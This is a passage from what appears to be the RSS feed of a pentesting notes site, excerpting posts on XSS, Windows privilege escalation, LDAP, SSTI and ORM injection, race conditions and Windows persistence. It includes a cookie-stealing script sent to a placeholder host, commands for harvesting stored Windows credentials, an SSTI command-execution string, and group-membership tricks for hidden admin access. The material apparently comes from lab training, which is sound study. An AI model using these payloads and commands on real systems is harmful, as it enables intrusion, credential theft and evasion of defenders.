&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;Blind XSS (Example): Insert below script into any of website and steal the cookies&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;/textarea&amp;gt;&amp;lt;script&amp;gt;fetch(&amp;#39;http:/&lt;/span&gt;&lt;span style="color:#f92672"&gt;/&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;URL_OR_IP&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;PORT_NUMBER&lt;/span&gt;&lt;span style="color:#f92672"&gt;?&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;cookie&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;btoa&lt;/span&gt;(document.&lt;span style="color:#a6e22e"&gt;cookie&lt;/span&gt;) );&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/script&amp;gt; &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description></item><item><title>Windows Privilege Escalation</title><link>https://silent-resistor.github.io/resources/red-teaming/windows_privesc/</link><pubDate>Wed, 01 Apr 2026 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/resources/red-teaming/windows_privesc/</guid><description>&lt;h2 id="harvesting-passwords"&gt;Harvesting passwords&lt;/h2&gt;
&lt;h3 id="unattended-windows-installations"&gt;Unattended Windows Installations&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;When installing Windows on a large number of hosts, administrators may use Windows Deployment Services, which allows for a single operating system image to be deployed to several hosts through the network. These kinds of installations are referred to as unattended installations as they don&amp;rsquo;t require user interaction. Such installations require the use of an administrator account to perform the initial setup, which might end up being stored in the machine in the following locations:
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cmd" data-lang="cmd"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;C:\Unattend.xml
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;C:\Windows\Panther\Unattend.xml
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;C:\Windows\Panther\Unattend\Unattend.xml
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;C:\Windows\system32\sysprep.inf
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;C:\Windows\system32\sysprep\sysprep.xml
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="powershell-history"&gt;Powershell history&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Whenever a user runs a command using Powershell, it gets stored into a file that keeps a memory of past commands.&lt;/li&gt;
&lt;li&gt;For Powershell, won&amp;rsquo;t recognize &lt;code&gt;%userprofile%&lt;/code&gt; as an environment variable. You&amp;rsquo;d have to replace &lt;code&gt;%userprofile%&lt;/code&gt; with &lt;code&gt;$Env:userprofile&lt;/code&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cmd" data-lang="cmd"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;type&lt;/span&gt; %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="saved-windows-credentials"&gt;Saved Windows Credentials&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Windows allows us to use other users&amp;rsquo; credentials. This function also gives the option to save these credentials on the system. The command below will list saved credentials:
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cmd" data-lang="cmd"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cmdkey /list
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;While you can&amp;rsquo;t see the actual passwords, if you notice any credentials worth trying, you can use them with the runas command and the /savecred option, as seen below.
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cmd" data-lang="cmd"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;runas /savecred /user:admin cmd.exe
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="iis-configuration"&gt;IIS Configuration&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Internet Information Services (IIS) is the default web server on Windows installations. The configuration of websites on IIS is stored in a file called web.config and can store passwords for databases or configured authentication mechanisms. Depending on the installed version of IIS, we can find web.config in one of the following locations:
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cmd" data-lang="cmd"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;C:\inetpub\wwwroot\web.config
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;Here is a quick way to find database connection strings on the file:
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cmd" data-lang="cmd"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;type&lt;/span&gt; C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="retrieve-credentials-from-software-putty"&gt;Retrieve Credentials from Software: PuTTY&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;PuTTY is an SSH client commonly found on Windows systems. Instead of having to specify a connection&amp;rsquo;s parameters every single time, users can store sessions where the IP, user and other configurations can be stored for later use. While PuTTY won&amp;rsquo;t allow users to store their SSH password, it will store proxy configurations that include cleartext authentication credentials.&lt;/p&gt;</description></item><item><title>LDAP (Lightweight Directory access Protocol) Injections</title><link>https://silent-resistor.github.io/resources/web-app-pentesting/ldap_injections/</link><pubDate>Wed, 04 Feb 2026 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/resources/web-app-pentesting/ldap_injections/</guid><description>&lt;h2 id="introductions"&gt;Introductions&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;LDAP Protocol used for accessing and maintaining distributed directory information serverces over an internet Protocol (IP) network.&lt;/li&gt;
&lt;li&gt;LDAP Enables organizations to manage users centrally, as well as groups and other directory information, often used for authentication and authorization in web and internal applications.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="structure"&gt;Structure&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;In LDAP, directory entries are stuctured as objects, each adhering to a specific schema that defines the rules and attributes applicable to that object.&lt;/li&gt;
&lt;li&gt;This object-oriented approach ensures consistency and governs how object like users and groups can be represented and manupulated withtin the directory.&lt;/li&gt;
&lt;li&gt;Services that use LDAP:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Microsoft Active directory:&lt;/strong&gt; A service for windows domain network, utilizing LDAP as part of its underlying protocol suit to manage domain resources.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;OpenLDAP:&lt;/strong&gt; An open-source implementation of LDAP, widely used for managing user information and supporting authentication mechanisms across various platforms.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="ldif-ldap-data-interchange-format"&gt;LDIF (LDAP Data interchange format)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;LDAP entries can be represented using the LDIF, a standard plaintext data format for representing LDAP directory entries, and update operations.&lt;/li&gt;
&lt;li&gt;LDIF imports and exports directory contents and describes directory modifications such as adding, modifying, or deleting entries.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Structure:&lt;/strong&gt; An LDAP directory follows a hierarchical like afile system&amp;rsquo;s tree. This structure comprises various entries, representing a unique item, such as a user, group or resource.
&lt;img src="https://silent-resistor.github.io/resources_webpen/ldap_structure.png" alt="LDAP Strucuture"&gt;&lt;/li&gt;
&lt;li&gt;At the top of the LDAP tree, we find top-level-domain(TLD), such as &lt;code&gt;dc=ldap,dc=thm&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Beneath the TLD, there may be subdomains or organizational units (OUs), such as &lt;code&gt;ou=people&lt;/code&gt; or &lt;code&gt;ou=groups&lt;/code&gt;, which further categorize the directory entires.
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Distiguished names (DNs):&lt;/strong&gt; Serve as unique identifiers for each entry in the directory, specifying the path from the top of the LDAP tree entry. For example &lt;code&gt;cn=john Doe, ou=people, dc=example, dc=com&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Relative Distiguished Names (RDNs):&lt;/strong&gt; Represent individual levels with in the directory hierarchy, such as &lt;code&gt;cn=john doe&lt;/code&gt;, where cn statnds for Common name.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Attributes:&lt;/strong&gt; Define properties of directory entries, like &lt;code&gt;mail=johndoe@example.thm&lt;/code&gt; for an email address.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="search-queries"&gt;Search queries&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;LDAP search queries are fundamental in interacting with LDAP directories, allowing you to locate and retrieve information stored within the directory. Understanding how to construct these queries is crucial for effectively utilizing LDAP services.&lt;/p&gt;</description></item><item><title>Server-side Template Injections (SSTI)</title><link>https://silent-resistor.github.io/resources/web-app-pentesting/server_side_template_injection/</link><pubDate>Sun, 01 Feb 2026 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/resources/web-app-pentesting/server_side_template_injection/</guid><description>&lt;h2 id="introduction"&gt;Introduction&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;SSTI is a vulnerability that occurs when user input is injected into a template engine of an application. This can lead to a range of security issues, including code execution, data exposure, privilage escalation, and DoS.&lt;/li&gt;
&lt;li&gt;SSTI vulnerabilities are often found in web applications that use template engines to generate dynamic content and can have serious consequences if left unaddressed.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Template Engines:&lt;/strong&gt; A template engine is like a machine that helps build web pages dynamically by using a pre-designed template with placeholders like {{ name }} for dynamic content.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Common Template Engines:&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Jinja2(popular in python), Ex. {{7*7}} &amp;ndash;&amp;gt; 49&lt;/li&gt;
&lt;li&gt;Twig(defalt in PHP, secure default settings). Ex: {{7 * &amp;lsquo;7&amp;rsquo;}} &amp;ndash;&amp;gt; 49&lt;/li&gt;
&lt;li&gt;Pug/Jade (popular in node.js). Executes java script within templates unlike jinja2/Twig. Ex: &lt;code&gt;${7*7} --&amp;gt; 49&lt;/code&gt; or &lt;code&gt;#{root.process.mainModule.require('chid_process').spawnSync(&amp;quot;id -u&amp;quot;).stdout} --&amp;gt; 0&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="detection"&gt;Detection&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Finding an injection point:&lt;/strong&gt; There are a few places we can look within an application, such as the URL or an input to identify the injection point.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Fuzzing:&lt;/strong&gt; Following characters are known to be used in quite a few template engines: &lt;code&gt;$ { { &amp;lt; % [ % ' &amp;quot; } } % &lt;/code&gt;. Fuzz all of these characters in url and see if there any error pops up.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="identification-of-template"&gt;Identification of Template:&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Test injection point with given expression and see if its evaluated (green) or shown in output (red).&lt;/p&gt;</description></item><item><title>Race Coditions</title><link>https://silent-resistor.github.io/resources/jr-pentester/web-raceconditions/</link><pubDate>Sat, 20 Jan 2024 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/resources/jr-pentester/web-raceconditions/</guid><description>&lt;ul&gt;
&lt;li&gt;A race condition is a situation in computer programs where the timing of events influences the behaviour and outcome of the program. It typically happens when a variable gets accessed and modified by multiple threads. Due to a lack of proper lock mechanisms and synchronization between the different threads, an attacker might abuse the system and apply a discount multiple times or make money transactions beyond their balance.&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Windows Local Persistence</title><link>https://silent-resistor.github.io/resources/red-teaming/windows_local_persistance/</link><pubDate>Wed, 01 Apr 2026 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/resources/red-teaming/windows_local_persistance/</guid><description>&lt;h2 id="tampering-with-unprivilaged-accounts"&gt;Tampering with Unprivilaged Accounts&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;To make it harder for the blue team to detect after initial foothold, we can manipulate unprivileged users, which usually won&amp;rsquo;t be monitored as much as administrators, and grant them administrative privileges somehow.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="assign-group-memberships"&gt;Assign Group Memberships&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Asuuming we have already dumped the password hashes of the victim machine and successfully cracked the passwords for the unprivileged accounts in use.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#The direct way to make an unprivileged user gain admin privileges is to make it part of the Administrators group.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;net localgroup administrators thmuser0 /add
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# If this looks too suspicious, we can use the Backup Operators group. &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Users in this group won&amp;#39;t have administrative privileges, &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# but will be allowed to read/write any file or registry key on the system, ignoring any configured DACLs.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;net localgroup &lt;span style="color:#e6db74"&gt;&amp;#34;Backup Operators&amp;#34;&lt;/span&gt; thmuser1 /add
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Since this is an unprivileged account, it cannot RDP or WinRM back to the machine unless we add it to the RDP or Remote Management Users (WinRM) groups.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;net localgroup &lt;span style="color:#e6db74"&gt;&amp;#34;Remote Desktop Users&amp;#34;&lt;/span&gt; thmuser2 /add
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If we tried to connect right now from your attacker machine, we&amp;rsquo;d be surprised to see that even if we are on the Backups Operators group, we wouldn&amp;rsquo;t be able to access all files as expected.&lt;/p&gt;</description></item><item><title>ORM (Object relational mapping) Injections</title><link>https://silent-resistor.github.io/resources/web-app-pentesting/orm_injection/</link><pubDate>Thu, 05 Feb 2026 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/resources/web-app-pentesting/orm_injection/</guid><description>&lt;h2 id="introdution"&gt;Introdution&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;With advancements in cyber security, many developers have adopted object-relational mapping (ORM) to mitigate SQL injection attacks. While ORM is intended to simplify database interactions and improve security, the threat of injection attacks is still not over.&lt;/li&gt;
&lt;li&gt;ORM injection occurs when attackers exploit vulnerabilities within ORM frameworks, allowing them to execute arbitrary queries.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="understanding-orm"&gt;Understanding ORM&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;ORM is a programming technique that facilitates data conversion between incompatible systems using object-oriented programming languages. It allows developers to interact with a database using the programming language&amp;rsquo;s native syntax, making data manipulation more intuitive and reducing the need for extensive SQL queries.&lt;/li&gt;
&lt;li&gt;ORM is particularly beneficial when complex data interactions are required, as it simplifies database access and promotes code reusability.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="purpose"&gt;Purpose:&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;ORM serves as a bridge between the object-oriented programming model and the relational database model. The primary purpose of an ORM is to abstract the database layer, allowing developers to work with objects rather than tables and rows. This abstraction layer helps in:
&lt;ul&gt;
&lt;li&gt;Reducing the boilerplate code&lt;/li&gt;
&lt;li&gt;increasing productivity, focusing on bussiness logic without worrying about the db interactions.&lt;/li&gt;
&lt;li&gt;Ensuring consistency, reducing risk of errors.&lt;/li&gt;
&lt;li&gt;Enhancing the maintainability, as changes in schema are easier to manage, as they can be reflected in the object model without extensive code modifications.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="commonly-used-orm-frameworks"&gt;Commonly used ORM Frameworks&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Several ORM frameworks are widely used in the development community, each catering to different programming languages and environments.
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Doctrine (PHP)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hibernate (java)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SQLAlchemy (Python):&lt;/strong&gt; offers sql toolkit and orm system that allows devs to use raw sql when needed while still providing the benefits of am orm.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Entiry framework (C#):&lt;/strong&gt; Microsoft&amp;rsquo;s ORM framework for .NET applications.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Active Record (Ruby on rails):&lt;/strong&gt; default ORM for ruby on rails applications.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="how-orm-works"&gt;How ORM works&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;ORM is a technique that simplifies data interaction in an application by mapping objects in code to database tables.&lt;/li&gt;
&lt;li&gt;For instance, using Laravel&amp;rsquo;s Eloquent ORM, you might define a model class like this:
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;namespace&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;App\Models&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;use&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Illuminate\Database\Eloquent\Model&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;User&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;extends&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Model&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;protected&lt;/span&gt; $table &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;users&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;protected&lt;/span&gt; $fillable &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;name&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;email&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;password&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// Other Eloquent model configurations can go here...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;Common ORM Operations (Create, Read, Update, Delete)
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Create&lt;/strong&gt;: Creating new records in the database involves instantiating a new model object, setting its properties, and saving it to the database.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;use&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;App\Models\User&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// Create a new user
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$user &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;User&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$user&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;name&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;Admin&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$user&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;email&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;admin@example.com&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$user&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;password&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;bcrypt&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;password&amp;#39;&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// hashing password
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$user&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;save&lt;/span&gt;(); 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Read&lt;/strong&gt;: Reading records from the database involves retrieving data using various Eloquent methods.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;use&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;App\Models\User&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// Find a user by ID
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$user &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;User&lt;/span&gt;&lt;span style="color:#f92672"&gt;::&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;find&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// Find all users
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$allUsers &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;User&lt;/span&gt;&lt;span style="color:#f92672"&gt;::&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;all&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// Find users by specific criteria
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$admins &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;User&lt;/span&gt;&lt;span style="color:#f92672"&gt;::&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;where&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;email&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;admin@example.com&amp;#39;&lt;/span&gt;)&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;get&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="configuring-the-environment"&gt;Configuring the Environment&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Since we are using Laravel in this project, we will briefly explain how to configure Eloquent ORM (Laravel-based). Eloquent ORM is the default ORM included with Laravel, which provides a beautiful, simple Active Record implementation for working with your database.&lt;/li&gt;
&lt;li&gt;First, we need to install Laravel using Composer.&lt;/li&gt;
&lt;li&gt;Open your terminal and run the command &lt;code&gt;composer create-project --prefer-dist laravel/laravel thm-project&lt;/code&gt;, where thm-project is the name of your project.&lt;/li&gt;
&lt;li&gt;Configure Database Credentials, Laravel uses the .env file to store environment variables, including database credentials.
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-env" data-lang="env"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;DB_CONNECTION&lt;span style="color:#f92672"&gt;=&lt;/span&gt;mysql
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;DB_HOST&lt;span style="color:#f92672"&gt;=&lt;/span&gt;127.0.0.1
